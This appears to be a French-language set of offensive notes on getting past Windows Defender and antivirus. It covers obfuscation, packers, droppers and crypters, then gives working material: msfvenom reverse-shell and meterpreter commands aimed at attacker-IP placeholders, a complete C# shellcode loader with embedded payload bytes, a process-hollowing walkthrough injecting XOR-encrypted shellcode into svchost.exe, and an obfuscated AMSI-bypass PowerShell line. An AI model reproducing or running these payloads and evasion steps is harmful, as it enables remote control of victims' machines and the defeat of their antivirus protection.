obfuscation / evasion
🛡️ Contourner Windows Defender
Obfuscation (Obscurcissement) :
Obscurcissement de Script : Modifier l'apparence du script sans changer sa fonctionnalité. Des outils comme
Invoke-Obfuscationpeuvent aider avec les scripts PowerShell.Obscurcissement d'Exécutable : Utiliser des outils comme ConfuserEx pour les exécutables .NET ou d'autres obscurcisseurs pour changer la signature binaire.
Packing (Empaquetage) :
Empaqueter l'exécutable : Compresser et obscurcir l'exécutable pour changer sa signature. Des outils comme UPX (Ultimate Packer for Executables) peuvent être utilisés.
Des packers personnalisés peuvent également être utilisés pour éviter la détection basée sur des signatures statiques.
Charges Utiles Personnalisées :
Générer des charges utiles avec des outils comme msfvenom en utilisant des modèles personnalisés ou l'encodage pour contourner la détection de signature.
Utiliser des outils comme Shellter pour injecter des charges utiles dans des exécutables bénins.
Techniques Living off the Land (LoL) :
Utiliser les outils et scripts intégrés à Windows pour atteindre vos objectifs sans télécharger de binaires supplémentaires. Cela peut inclure l'utilisation de PowerShell, mshta.exe ou regsvr32.exe.
Malware sans Fichier :
Utiliser des techniques qui exécutent du code malveillant directement en mémoire sans écrire sur le disque. Cela peut inclure l'utilisation de PowerShell ou d'autres langages de script.
Désactivation de Windows Defender :
Désactiver directement Windows Defender à l'aide de commandes ou de scripts. Cette méthode est généralement détectée et bloquée mais peut être réalisée avec des privilèges administratifs.
Contournement d'AMSI (Antimalware Scan Interface) :
Injection en mémoire pour contourner l'AMSI, utilisé par Windows Defender pour analyser les scripts et le code en mémoire.
Techniques Avancées :
Accrochage et Décrochage : Intercepter et modifier les appels d'API du système pour éviter la détection. Des outils comme Mimikatz utilisent ces techniques pour éviter la détection lors du vol de mots de passe.
Exploits en Mode Noyau : Exploiter les vulnérabilités du noyau Windows pour exécuter du code malveillant avec des privilèges élevés.
Exemple : Utilisation de PowerShell pour Contourner Windows Defender
Voici un exemple d'utilisation de l'obscurcissement PowerShell pour éviter la détection :
Outil Invoke-Obfuscation :
Installer l'outil :
git clone https://github.com/danielbohannon/Invoke-Obfuscation cd Invoke-Obfuscation Import-Module .\Invoke-Obfuscation.psd1Obscurcir un script simple :
Invoke-ObfuscationExécuter les scripts obscurcis directement ou les injecter dans un autre processus pour éviter la détection.
L'obfuscation est le processus de rendre le code source d'un programme difficile à lire et à comprendre pour empêcher la détection ou la rétro-ingénierie.
📲 Dropper
Un dropper est un type de programme informatique malveillant qui sert à installer d'autres logiciels malveillants sur un ordinateur.
La partie malicieuce est contenue dans le dropper, à l'exécution de celui-ci, ce dernier "libère" le malware sur le système.
Les droppers sont conçus pour éviter la détection par les logiciels de sécurité. Ils peuvent utiliser des méthodes telles que l’obfuscation de leur code, l’exécution en mémoire sans écriture sur le disque, ou l’usurpation de processus de logiciels légitimes.
Une fois installé, le logiciel malveillant prévu est soit décompressé, soit téléchargé depuis un serveur et installé sur l'ordinateur de la victime. Le logiciel malveillant se reconnecte généralement à l'infrastructure de l'attaquant. L'attaquant peut prendre le contrôle de l'ordinateur de la victime, ce qui lui permet d'explorer et d'exploiter davantage le réseau local.
Ils peuvent également contenir des fichiers inoffensifs destinés à masquer l'installation de logiciels malveillants.
Les droppers peuvent être persistants ou non persistants.
Techniques pour Bypass les antivirus :
Encodage (Encoding) :
Transformation de données dans un format différent sans les sécuriser.
Exemple : Convertir un texte en base64 pour le transmettre en toute sécurité sur Internet.
Crypters (Cryptographie) :
Les crypters sont des programmes qui utilisent des techniques de cryptographie pour chiffrer ou masquer un fichier exécutable, souvent dans le but de le rendre indétectable par les logiciels de sécurité ou les antivirus. Le fichier chiffré nécessite une clé de déchiffrement pour être lu et exécuté correctement.
Exemple : Chiffrer un malware pour le rendre indétectable par les logiciels antivirus traditionnels.
Le chiffrement vise à rendre les données illisibles pour assurer leur confidentialité, tandis que l'encodage les transforme dans un format différent sans pour autant les sécuriser.
Packing : Compression et/ou chiffrement de fichiers pour les protéger ou les compresser.
Binder : Fusion de plusieurs exécutables en un seul.
Un "binder" fusionne plusieurs fichiers exécutables distincts en un seul, tandis qu'un "packing" compresse ou encapsule un fichier exécutable unique.
Les "binders" sont souvent utilisés pour camoufler des programmes malveillants à l'intérieur d'applications légitimes, tandis que les "packers" sont utilisés pour rendre l'analyse de programmes plus difficile en compressant ou en modifiant leur structure interne
🖥️ Bypass windows defender (4.18.2205.7)
Reverse shell Csharp obfuscer avec confuseEx (packer)
Étape 1 : Création de la Charge Utile sur l'Attaquant
Utilisez msfvenom pour créer un payload reverse shell pour Windows en C# :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your IP> LPORT=7478 -f csharpÉtape 2 : Copier le Code Hexadécimal dans un Fichier .cs
Copiez le code hexadécimal généré par msfvenom et collez-le dans un fichier .cs (fichier C#) en utilisant un éditeur de texte comme Notepad. Voici un exemple complet :
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
byte[] shellcode = new byte[] {
// Collez ici le code hexadécimal généré par msfvenom
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5
};
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}Ce shell n'est pas indétectable car il utilise un code facilement reconnaissable par les solutions antivirus comme Windows Defender.
Étape 3 : Obfuscation avec ConfuserEx
Pour améliorer les chances de contourner Windows Defender, utilisez un outil d'obfuscation comme ConfuserEx :
Téléchargez et installez ConfuserEx depuis GitHub.
Ouvrez ConfuserEx et faites glisser votre fichier .cs sur l'interface.
Étape 4 : Configurer les Paramètres dans ConfuserEx
Aller dans "Settings" et choisissez votre payload.
Cliquer sur le bouton "Plus" puis sur l'icône "Modifier".
Choisir le "Maximum" et valider.
Étape 5 : Protéger le Payload
Dans l'onglet "Protect", cliquez sur "Protect" pour démarrer le processus d'obfuscation.
Vérifiez la sortie dans le dossier spécifié pour trouver votre payload obfusqué.
Process hollowing chiffrage XOR (script personalisé):
Le "process hollowing" consiste à créer un nouveau processus en mode suspendu, puis à vider son code exécutable légitime pour le remplacer par du code malveillant.
Cela permet à l'attaquant d'exécuter son propre code dans un contexte qui semble légitime, rendant la détection de l'activité malveillante plus difficile.
Après l'injection du code malveillant et la reprise du processus, il apparaît comme fonctionnant normalement pour les utilisateurs et les outils de sécurité, mais exécute secrètement des actions malveillantes en arrière-plan.
Sur l'attaquant :
Créer le Shellcode :
Utilisez Metasploit Framework pour générer un shellcode. Pour cet exemple, nous allons générer un shellcode en C# pour une architecture Windows x64 avec une connexion reverse TCP. L'option EXITFUNC=thread est utilisée pour spécifier la méthode de sortie utilisée par le shellcode.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attack-IP LPORT=4444 EXITFUNC=thread -f csharpSur Windows :
Créer un Projet VScode:
Dans un répertoire de votre choix (par exemple, "Xor"), ouvrez Visual Studio Code et créez un nouveau projet en mode console avec la commande suivante :
dotnet new consoleModifier le Fichier Program.cs :
Dans le répertoire de votre projet, ouvrez le fichier Program.cs et remplacez le code existant par celui ci : (modifié le shellcode par celui généré par Metasploit).
Ce code prend un tableau de bytes (), chaque byte avec la valeur hexadécimale 0xfa, puis imprime le résultat sous forme de tableau en langage C#.
Compiler le Projet:
Pour compiler le projet sous la forme d'un seul fichier exécutable intégrant ses librairies, utilisez la commande suivante :
dotnet publish -p:PublishSingleFile=true -r win-x64 -c Release --self-contained true -p:PublishTrimmed=trueExécuter le Fichier Exécutable :
./XorCréer un Autre Projet :
Dans un nouveau répertoire de votre choix, créez un nouveau projet (par exemple process hollowing) en mode console avec la commande suivante :
dotnet new consoleCopier le Code Source :
Dans le fichier Program.cs du projet nouvellement créé, remplacez le contenu par celui du fichier :
Ce code démarre le processus svchost.exe en état suspendu, trouve son point d'entrée dans la mémoire, remplace ce point d'entrée par un code malveillant, puis reprend le processus pour exécuter ce code malveillant.
Modifier le Shellcode XORé :
Dans le code source du fichier Program.cs, remplacez le buffer XORé par celui que vous avez généré précédemment.
Compiler le Projet :
Utilisez la commande suivante pour compiler le projet :
dotnet buildAssurez-vous que le projet se compile sans erreur.
Exécuter le Projet :
Pour exécuter le projet, utilisez la commande suivante :
dotnet runLe processus de process hollowing sera exécuté, injectant le shellcode indétectable dans un processus cible.
Concaténation :
La concaténation est une technique de programmation courante qui combine deux objets séparés en un seul objet, comme une chaîne de caractères.
Exemple en Python :
A = "Hello "
B = "THM"
C = A + B
print(C) # Output: Hello THMOpérateurs de Concatenation par Langage
Python
+
PowerShell
+, ,, $, ou aucun opérateur
C#
+, String.Join, String.Concat
C
strcat
C++
+, append
Utilisation de la Concatenation dans les Malwares
Les attaquants peuvent utiliser la concaténation pour modifier les signatures statiques ou manipuler d'autres aspects d'une application, ce qui permet d'échapper à la détection par des outils comme Yara.
Caractères non interprétés pour l'Obfuscation
Breaks
Divise une chaîne en sous-chaînes
('co'+'ffe'+'e')
Reorders
Réorganise les composants d'une chaîne
('{1}{0}'-f'ffee','co')
Whitespace
Inclut des espaces blancs non interprétés
.( 'Ne' +'w-Ob' + 'ject')
Ticks
Inclut des accents graves non interprétés
downLoAdString
Random Case
Utilise une casse aléatoire, non sensible à la casse
dOwnLoAdsTRing
Exemple d'Obfuscation de Code PowerShell
Code original :
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)Code obfusqué :
$Value="SetValue"
[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsi'+'Init'+'Failed','No'+'nPublic,S'+'tatic').$Value($null,$true)Pour alller plus loins ...
Les adversaires peuvent utiliser des techniques d'obfuscation avancées, basées sur la logique et les mathématiques, pour créer un code plus complexe et plus difficile à comprendre, afin de lutter contre l'analyse et le reverse engineers .
Obfuscating Data
Array Transformation
Transformer un tableau en le divisant, en le fusionnant, en le pliant ou en l'aplatissant
Data Encoding
Encoder des données à l'aide de fonctions mathématiques ou de chiffrements
Data Procedurization
Remplacer des données statiques par des appels de procédure
Data Splitting/Merging
Distribuer les informations d'une variable dans plusieurs nouvelles variables
Obfuscating Layout
Junk Code
Ajouter des instructions non fonctionnelles, également connues sous le nom de code stubs
Separation of Related Code
Séparer les codes ou les instructions liées pour augmenter la difficulté de lecture du programme
Stripping Redundant Symbols
Supprimer les informations symboliques telles que les informations de débogage ou les tables de symboles
Meaningless Identifiers
Transformer un identifiant significatif en quelque chose d'insignifiant
Obfuscating Controls
Implicit Controls
Convertir des instructions de contrôle explicites en instructions implicites
Dispatcher-based Controls
Déterminer le bloc suivant à exécuter pendant le temps d'exécution
Probabilistic Control Flows
Introduire des réplications de flux de contrôle avec la même sémantique mais une syntaxe différente
Bogus Control Flows
Ajouter des flux de contrôle délibérément à un programme mais qui ne seront jamais exécutés
Tools
FUD fully undetectable afaire
Last updated